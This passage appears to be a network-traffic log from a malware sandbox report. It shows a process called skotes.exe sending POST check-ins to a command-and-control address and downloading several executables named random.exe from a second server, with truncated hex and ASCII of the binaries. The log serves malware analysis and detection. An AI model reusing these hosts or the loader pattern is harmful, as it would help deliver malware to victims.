Dec 16, 2024 09:01:09.644711971 CET	1236	IN	Data Raw: 00 50 ff 15 34 a1 41 00 85 c0 7e 13 8d 85 58 ff ff ff 50 ff 15 d4 a1 41 00 59 a3 84 e0 41 00 8d 47 01 50 ff b6 bc e0 41 00 57 53 6a 00 ff 35 84 e0 41 00 ff 15 38 a1 41 00 8b 86 bc e0 41 00 5f 5e 5b c9 c3 83 3d b0 e0 41 00 00 74 20 56 be bc e0 41 Data Ascii: P4A~XPAYAGPAWSj5A8AA_^[=At VAtPl&Y~u^U$hAhAhAPlAtMQE38Au0A=At*h@AhAhAPlAt5A%A%Ah`A
Dec 16, 2024 09:01:09.644727945 CET	1236	IN	Data Raw: e8 a2 e9 ff ff 8b 46 04 8b 0e ff 74 24 0c 8d 04 41 50 e8 8a e6 ff ff 01 7e 04 59 59 5f 8b c6 5e c2 04 00 8b 41 04 85 c0 74 1e 8b 09 66 8b 54 24 04 8d 44 41 fe eb 06 3b c1 74 0d 48 48 66 39 10 75 f5 2b c1 d1 f8 eb 03 83 c8 ff c2 04 00 56 8b f1 33 Data Ascii: Ft$AP~YY_^AtfT$DA;tHHf9u+V3jFF^V&ffjL$@F^V&ffW\|$w@AuGF_^D$V;F\|P\^SV3W\|$^
Dec 16, 2024 09:01:09.644742966 CET	1236	IN	Data Raw: 7f ff 75 e0 8b 4d 14 e8 76 fc ff ff 47 ff 45 f8 eb bc 2b 45 f4 3b f8 77 23 ff 75 f4 ff 75 0c ff 75 f8 e8 b0 62 01 00 83 c4 0c 85 c0 75 de 8b 45 f4 03 f8 01 45 f8 c6 45 ff 01 eb 92 2b f7 01 7d ec 56 8d 84 3d e0 ef ff ff 11 5d f0 50 8d 85 e0 ef ff Data Ascii: uMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y2_^[U=lAujzVWMEu<t<tPMGuhEPEPF}_^
Dec 16, 2024 09:01:09.644757986 CET	1236	IN	Data Raw: e8 e8 f1 ea ff ff 83 c4 14 85 c0 74 10 ff 75 e8 e8 e2 5d 01 00 59 33 c0 5f 5e 5b c9 c3 56 ff 15 94 a2 41 00 33 db 3b c3 89 45 fc 74 e0 68 ac a6 41 00 ff 15 68 a1 41 00 8d 45 cc 50 56 e8 ce eb ff ff 59 59 56 ff 15 80 a2 41 00 68 19 04 00 00 8b f8 Data Ascii: tu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAhASA;{VA5ASj"hYWjAPShCWPEEPEP]uEPhaWu]u
Dec 16, 2024 09:01:09.764169931 CET	1236	IN	Data Raw: ff 36 ff 75 a4 ff 15 34 a2 41 00 83 c4 0c 85 c0 74 07 83 c6 04 39 1e 75 de 39 1e 75 20 53 ff 75 a4 ff 75 0c e8 a0 ef ff ff 83 c4 0c 3b c3 74 0d ff 75 b0 8d 48 0c e8 81 da ff ff eb 0c 8b 4d 0c 8d 45 a4 50 e8 3f fc ff ff 8d 4d a4 e8 f8 ef ff ff 8d Data Ascii: 6u4At9u9u Suu;tuHMEP?MM!iuX+uuuuW\MuXY_^[USVW}WAWME_39uVMD_f=\}tf=/uft_K]"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49843	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:19.149110079 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 39 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015993001&unit=246122658369
Dec 16, 2024 09:01:20.483561993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49849	31.41.244.11	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:20.837588072 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 09:01:22.575834036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:21 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 16, 2024 09:01:22.575864077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:22.575877905 CET	448	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 16, 2024 09:01:22.575895071 CET	1236	IN	Data Raw: eb 05 90 83 45 d0 04 8b 45 d8 83 f8 10 72 32 8d 50 01 81 fa 00 10 00 00 72 19 90 8b 4d dc 8b 41 fc 83 c1 fc 29 c1 83 f9 20 73 4a 8b 55 d8 83 c2 24 eb 03 8b 45 dc 90 52 50 e8 e4 10 00 00 83 c4 08 90 8b 45 cc 40 3b 75 0c 0f 85 b4 fd ff ff 90 8b 45 Data Ascii: EEr2PrMA) sJU$ERPE@;uEEMdH^_[]EOmfU]@U]@UM1]fff.U]@U]UWVeE
Dec 16, 2024 09:01:22.576122046 CET	1236	IN	Data Raw: 41 00 e8 c8 f8 ff ff 83 c4 08 89 45 e8 8b 55 e8 ff d2 6a 1c 68 00 e0 41 00 68 49 05 00 00 68 1c e0 41 00 e8 97 fc ff ff 83 c4 10 6a 09 68 00 60 41 00 57 56 e8 86 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 58 f0 41 00 e8 83 f8 ff ff 83 c4 08 8d 4d ec Data Ascii: AEUjhAhIhAjh`AWVh5XAMQj@hIhAuM11^_]uuVA'jhAUSWVL]eEEE"@dMdd=0w@XAhb-/5XA
Dec 16, 2024 09:01:22.576153040 CET	448	IN	Data Raw: c5 0c 83 c4 1c 5d c3 cc cc cc cc 8b 44 24 08 83 f8 0f 74 0d 83 f8 02 75 0d 6a 00 ff 15 8c cd 41 00 31 c0 c2 10 00 ff 25 84 cd 41 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 58 90 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 Data Ascii: ]D$tujA1%AUSWVXeEEE"@dMdjEWEEEE@EjAEE`AEPAft(WEEjjjEPAuugEd
Dec 16, 2024 09:01:22.576211929 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 16, 2024 09:01:22.576229095 CET	1236	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}gaUuY]
Dec 16, 2024 09:01:22.576242924 CET	448	IN	Data Raw: 0c 56 e8 0b fc ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 83 ec 14 56 8b 75 08 ff 34 b5 7c 61 41 00 e8 1f 00 00 00 50 ff 34 b5 98 61 41 00 8d 4d ec e8 02 02 00 00 68 2c d7 41 00 8d 45 ec 50 e8 8d 17 00 00 cc b8 44 e6 41 00 c3 55 8b ec 8b 45 08 8b Data Ascii: VYY^]UVu4\|aAP4aAMh,AEPDAUEUH]UQQVWuupEPAPTYY_^UAVuV;Bu;Eu2^]UQVWy1urAE_^UUVuBN@;Au
Dec 16, 2024 09:01:22.576257944 CET	1236	IN	Data Raw: 08 8b c6 8b 55 0c 89 4e 0c 8b 4d fc c7 06 c4 61 41 00 33 cd 89 56 10 5e e8 74 fa ff ff c9 c2 0c 00 55 8b ec 56 8b 75 08 57 56 8b f9 e8 a3 fa ff ff c7 07 c4 61 41 00 8b 46 0c 8b 56 10 89 47 0c 8b c7 89 57 10 5f 5e 5d c2 04 00 55 8b ec 56 8b f1 8d Data Ascii: UNMaA3V^tUVuWVaAFVGW_^]UVFD`APEYtjVYY^]j [AuEMPueEPuuMaAUVuNaA^],AUQuY
Dec 16, 2024 09:01:22.576445103 CET	1236	IN	Data Raw: 2c ff ff ff 7f 75 0a c7 41 2c fe ff ff 7f 32 c0 c3 b0 01 c3 55 8b ec 51 56 6a 00 6a ff ff 75 08 ff 15 6c cd 41 00 83 f8 ff 74 32 8b 75 10 85 f6 74 16 8d 45 fc 50 ff 75 08 ff 15 b4 cc 41 00 85 c0 74 1a 8b 45 fc 89 06 ff 75 08 ff 15 48 cc 41 00 f7 Data Ascii: ,uA,2UQVjjulAt2utEPuAtEuHAjX^%AUMhAEPU$jAtjY)AAAA5A=AfAfAfAfAf%Af-AA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49860	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:26.020457983 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 39 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015994001&unit=246122658369
Dec 16, 2024 09:01:27.346520901 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49866	31.41.244.11	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:27.490009069 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 09:01:28.815429926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:28 GMT Content-Type: application/octet-stream Content-Length: 4461568 Last-Modified: Mon, 16 Dec 2024 07:36:17 GMT Connection: keep-alive ETag: "675fd871-441400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ab 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 5c 47 00 00 66 6d 00 00 32 00 00 00 50 bf 00 00 10 00 00 00 70 47 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 bf 00 00 04 00 00 8d d6 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f d0 6a 00 73 00 00 00 00 c0 6a 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 34 bf 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 34 bf 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL]g(\Gfm2PpG@D@ _jsjX44 j2(@.rsrcjB(@.idata jD(@ 8jF(@fjjegazsH(@bdwbetux@C@.taggant0P"C@
Dec 16, 2024 09:01:28.815448999 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:28.815485001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:28.815496922 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:28.815515041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:28.815526962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: yfEy4{nuvrVW,
Dec 16, 2024 09:01:28.815547943 CET	448	IN	Data Raw: 1b b7 59 66 2a 76 f3 ee 09 c5 5c a3 3c a7 49 33 01 b5 9c d4 02 0f 5e ea 3e 95 c1 2e 5a e7 c5 c6 fe 0e 74 3a 9c b0 b0 9b 2c bb ef 03 dc e2 0a 37 77 3e 3b 62 03 a3 1a bf 48 d4 05 eb 6b a4 ab 38 13 d7 ad 2c 20 bb c6 f7 a4 d5 80 64 c4 45 91 a1 ea be Data Ascii: Yfv\<I3^>.Zt:,7w>;bHk8, dET_&G,~rL8Fq$NN4!8@&<)$*E?nprmB{JnSW FbdXnOC.Iz5`?f>,Z&AvN.mB=p:q
Dec 16, 2024 09:01:28.815634966 CET	1236	IN	Data Raw: 34 ee 69 29 24 af 9d 43 c1 98 41 c6 91 ea 0e 94 b2 7d 81 79 51 fb 76 70 6e 47 77 99 ee e4 0d ee f9 17 26 84 cc 53 a5 4e 09 a3 bb 69 a6 57 15 5c 4e b7 14 01 fe b7 d1 b6 1e fc 06 07 e2 83 ad 56 d7 eb 77 6c f0 ec f9 77 b2 e4 3d 6a 8e 63 b5 1b 69 39 Data Ascii: 4i)$CA}yQvpnGw&SNiW\NVwlw=jci9w#a~xq9bUPBKl}iA*MG[XmK8v$I`"Q"f{K7JIX#GR88nu5`v.un
Dec 16, 2024 09:01:28.815680981 CET	1236	IN	Data Raw: ed d8 b1 2f 94 db 1d 01 86 f5 f9 1a aa 4a b3 6f 07 d4 98 27 c6 e0 97 58 46 aa 86 3a 66 4d ae 95 be d7 55 99 7f 17 6c eb 75 92 14 2a 2f 39 4b da af 43 ed d4 8b 99 47 fb c4 71 c5 05 1f de f3 b5 89 c1 ac eb c2 7b da fd f0 4c c6 36 5d 5c 03 49 fd 1a Data Ascii: /Jo'XF:fMUlu*/9KCGq{L6]\IA\|%5m#iWW] 4>[2?-[-OSw3ASBN5^/3Mf^RmwJY%01Kf-
Dec 16, 2024 09:01:28.815692902 CET	448	IN	Data Raw: 34 63 8f 9e 9d 98 43 60 03 7a f1 67 9e 11 ca d7 1a d4 be b3 f0 b0 a5 f9 0d 77 e6 14 02 e3 45 18 d9 cd fc a3 df ab e2 05 e7 26 d1 0a df 5b 41 9a 12 a7 8b ce f6 c5 14 ed 86 18 f8 66 0e f0 95 cb 0a 37 5b f2 1e 78 c1 63 ad bc 86 38 0d 9a f7 e2 ba 99 Data Ascii: 4cC`zgwE&[Af7[xc8{M`_eZ1&6=h<D"t;1.NWd~2KyN9B^sWOZg7gY}xHMxYac4}})h}WHYXG.
Dec 16, 2024 09:01:28.935539007 CET	1236	IN	Data Raw: 2e 06 d9 89 77 35 34 67 b2 e5 92 f0 01 6b 94 7e 24 b7 94 f7 61 fb 1b 15 42 c6 98 68 77 73 bf c2 e8 17 02 cb 44 b3 75 69 7f e3 4e 48 43 b4 1a b9 41 87 13 47 05 2b ac 90 ad 6e 3b 0f 4b d7 b6 ee b9 50 08 98 c3 49 8f a9 cb c4 90 eb 02 fd 63 6a b4 92 Data Ascii: .w54gk~$aBhwsDuiNHCAG+n;KPIcj ns=rA;""QnrE3[6EF{i.QoO7mdG![V4x)2^y}Y2@hY,~pW72\|;e@~}Z[{f]"NH$]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49894	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:38.460628986 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 39 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015995001&unit=246122658369
Dec 16, 2024 09:01:39.804928064 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49900	31.41.244.11	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:39.928514004 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 09:01:41.254563093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:41 GMT Content-Type: application/octet-stream Content-Length: 4485120 Last-Modified: Mon, 16 Dec 2024 07:37:00 GMT Connection: keep-alive ETag: "675fd89c-447000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 e0 c3 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 c4 00 00 04 00 00 7d 67 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 c0 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 c0 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL]g(Kdq2K@}gE@ _nsn n@(@.rsrcnP(@.idata nR(@ 9nT(@xtfxuijoV(@svksalgdJD@.taggant0"ND@
Dec 16, 2024 09:01:41.254658937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:41.254667997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:41.254801989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:41.254817963 CET	1236	IN	Data Raw: 4a e1 3c ea 0d d8 99 f1 ca 51 4f 32 8a b1 dc de 74 c5 06 e3 91 9d 97 b1 a9 d8 56 b5 00 d8 fa b9 70 c9 1d 98 ab 99 e0 8f 9c 84 c3 a7 61 5a 2a e4 ce d8 28 3e 41 d9 97 82 cb 4f da 82 8d 5a 02 82 ec 46 e0 29 a6 df c0 ae ee 71 ed ae 90 4f 30 a1 17 55 Data Ascii: J<QO2tVpaZ*(>AOZF)qO0U7g;)&HZeBX&~F[hs#breIZ<}!\|=MZf$QV6Zq-f\~}oP'QV {g6pAOfqi6ku~}T(Ki[6(UP5h6?X
Dec 16, 2024 09:01:41.254827976 CET	1236	IN	Data Raw: b7 f1 86 32 cc 46 24 df 9d 0b 93 ed 60 17 87 e3 d8 76 19 80 dd 17 cb 00 4f 79 b6 79 6c 96 52 d8 c8 8b ed 0a f7 87 2f 75 9a 01 c0 76 11 63 70 88 b0 b4 9f b5 99 6f 9d 21 97 8a 66 7e 8c 9e 29 c0 01 88 f6 c5 13 62 22 58 02 b5 5a 50 74 79 6c 40 1c 46 Data Ascii: 2F$`vOyylR/uvcpo!f~)b"XZPtyl@Fd:td!M=%zDO+n::Q5ZwibpEc)GEs7<1eNV~%$~N'yX^3$Z'&i]`o
Dec 16, 2024 09:01:41.254837036 CET	1236	IN	Data Raw: 8c 5e 16 ea da 97 5f cf 0f 6f b7 2b c9 ab e6 34 26 ad 05 bf fa 70 23 35 0a a5 dd 1b bd 65 b8 d3 87 11 a7 d4 5a 46 3a c9 1b 62 4f 75 4f ce 51 09 c8 ad 65 cb 0c a5 92 b8 4c 99 d1 50 0c 76 66 70 c5 c4 77 4d 89 36 99 35 fa 71 6e 31 fc d8 48 ce 46 5c Data Ascii: ^_o+4&p#5eZF:bOuOQeLPvfpwM65qn1HF\}MD`a4pwk`avu!X21dy+H,q1fPG<n}"-}/Ru_"K=DrrEY}uQcA5O<x[#
Dec 16, 2024 09:01:41.254971027 CET	108	IN	Data Raw: 15 88 a5 e8 08 06 f0 a0 06 86 4f 82 f0 7f 8a e5 ae 19 39 af cc 80 60 b3 76 9f 87 c7 60 d7 71 10 18 ac a2 62 c0 36 b7 03 e6 88 d2 ea 8a a1 9b 7a ef ee be a5 0d dd ae 66 8d 78 58 74 df 71 b5 d0 11 5e a9 b8 63 c9 ce 18 0c a8 60 2a 32 7a e3 d1 66 00 Data Ascii: O9`v`qb6zfxXtq^c`*2zfx}Sp'K+$m
Dec 16, 2024 09:01:41.254977942 CET	1236	IN	Data Raw: 9b 6e d9 10 0d 31 a9 95 c9 61 a9 06 3e 85 a8 8f 85 67 0a 2d 58 d7 c9 8c 8d 6e f6 7b 3e af 54 43 3b d6 b6 ae 0d e1 a6 99 f6 d7 b7 2d a6 64 50 c2 f5 76 6e 7d 99 48 32 be d8 6a 18 72 8c c3 53 d8 15 e2 4c 84 ad ea 2e 94 91 a2 8b aa 75 59 d5 49 1d b2 Data Ascii: n1a>g-Xn{>TC;-dPvn}H2jrSL.uYI.tP0Rr5rVd%[56Opt<,~1O0[<~U3-v"F`n2E;3ZX?<_nEMk+6x=r\|#8[X
Dec 16, 2024 09:01:41.254993916 CET	1236	IN	Data Raw: 4d 8e 0b 54 39 55 a6 f0 4d d2 8c 8f 7b 90 d7 70 26 3c a0 fb 8a 8d 68 92 fb 8e 9c d6 b4 75 8a d0 9b 77 e5 a6 0d e7 cc 96 4f 30 f7 e7 28 bd d2 f9 d8 5c 8e 47 60 0b db b2 0a b9 64 d4 6e 65 ce 5a 51 f6 c4 2b 4a 68 a3 d2 44 8b 76 9d 03 84 ca 99 34 3f Data Ascii: MT9UM{p&<huwO0(\G`dneZQ+JhDv4?oRn\|W4M[5&o;?S^)!"7Un)H]FXhJiJ&Q%Z.7"7n)Hn=U!*Extt\Z1Dn`!wh#U8fl
